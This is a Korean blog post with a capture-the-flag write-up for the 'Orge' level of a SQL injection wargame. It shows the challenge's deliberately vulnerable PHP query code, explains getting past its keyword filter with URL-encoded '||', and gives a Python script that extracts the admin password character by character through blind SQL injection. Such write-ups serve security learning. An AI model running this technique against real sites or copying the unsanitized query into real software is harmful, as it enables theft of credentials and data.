vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • Digital Forensic
  • Artifacts
  • shellbag
  • Thumbcache
  • sql injection
  • iconcahce
  • LNK FIile
  • webhacking.kr
  • File Execution
  • shellbag forensics
  • forensic artifacts
  • forensic-cheatsheet
  • Digital-Forensic
  • ssd
  • JavaScript
  • digital-forensics
  • Los
  • Windows Artifact
  • trim

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/LOS_rubiya

LOS - rubiya : Orge

2020. 5. 13. 01:32

<코드 분석>

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

pw 를 Get 방식으로 받아주는 문제다. 이때 필터링은 다음과 같다. 

prob _ . () 는 No Hack

or and 는 HeHe를 출력하면서 종료한다.

Get으로 넘겨준 pw와 admin의 진짜 pw 가 일치하면 문제가 풀린다.


<해설>

orc 랑 사실상 똑같은 문제다. 거기에 darkelf 문제에서의 and or 만 url-encoding으로 우회해주면 된다.

pw의 길이를 찾아주고, 각 자릿수마다 맞는 문자를 찾아주면 되겠다.

길이를 구할때는 length() 를, 문자를 찾아줄때는 ascii() 나 ord() 그리고 substr() 를 사용해주면 되겠다.

설명은 이전에 자세히 했으니까 코드만 업로드하도록 하겠다.

import requests

PHPSESSID="본인의 PHPSESSID"
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
pw=""
length=0

for i in range(1,100):
    print("Testing length : "+str(i))
    pay="?pw=' %7C%7C length(pw)="+str(i)+"%23"
    res=requests.post(url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
    if "Hello admin" in res.text:
        print("FOund the length !! : "+str(i))
        length=i
        break

for i in range(1,length+1):
    print("Doing the "+str(i)+" word......")
    for j in range(48,128):
        payload="?pw='%7C%7Cascii(substr(pw,"+str(i)+",1))="+str(j)+"%23"
        res=requests.post(url=url+payload,cookies=(dict(PHPSESSID=PHPSESSID)))
        if "Hello admin"in res.text:
            pw+=chr(j)
            print("FOUND THE TEXT  :  "+str(pw))
            break


print("FINISHED! PW is .. : "+str(pw))

 

pw : 7b751aec

 

Clear!

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS -rubiya : Vampire  (0) 2020.05.13
LOS -rubiya : Troll  (0) 2020.05.13
LOS - rubiya : Darkelf  (0) 2020.05.13
LOS -rubiya : Wolfman  (0) 2020.05.13
LOS -rubiya : Wolfman  (0) 2020.05.13
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS -rubiya : Vampire
    • LOS -rubiya : Troll
    • LOS - rubiya : Darkelf
    • LOS -rubiya : Wolfman
    vared
    vared

    티스토리툴바